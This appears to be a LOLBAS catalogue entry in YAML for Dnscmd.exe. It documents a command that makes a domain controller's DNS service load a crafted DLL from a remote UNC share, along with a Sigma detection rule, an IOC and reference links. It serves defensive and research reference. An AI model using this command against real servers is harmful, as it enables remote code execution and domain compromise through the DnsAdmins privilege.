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https://github.com/LOLBAS-Project/LOLBAS
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35 lines
1.6 KiB
YAML
35 lines
1.6 KiB
YAML
---
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Name: Dnscmd.exe
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Description: A command-line interface for managing DNS servers
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Author: 'Oddvar Moe'
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Created: 2018-05-25
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Commands:
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- Command: dnscmd.exe dc1.lab.int /config /serverlevelplugindll \\192.168.0.149\dll\wtf.dll
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Description: Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
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Usecase: Remotely inject dll to dns server
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Category: Execute
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Privileges: DNS admin
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MitreID: T1543.003
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OperatingSystem: Windows server
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Full_Path:
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- Path: C:\Windows\System32\Dnscmd.exe
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- Path: C:\Windows\SysWOW64\Dnscmd.exe
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Code_Sample:
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- Code:
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Detection:
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- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml
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- IOC: Dnscmd.exe loading dll from UNC/arbitrary path
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Resources:
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- Link: https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83
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- Link: https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html
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- Link: https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp
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- Link: https://twitter.com/Hexacorn/status/994000792628719618
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- Link: http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html
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Acknowledgement:
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- Person: Shay Ber
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Handle:
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- Person: Dimitrios Slamaris
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Handle: '@dim0x69'
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- Person: Nikhil SamratAshok
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Handle: '@nikhil_mitt'
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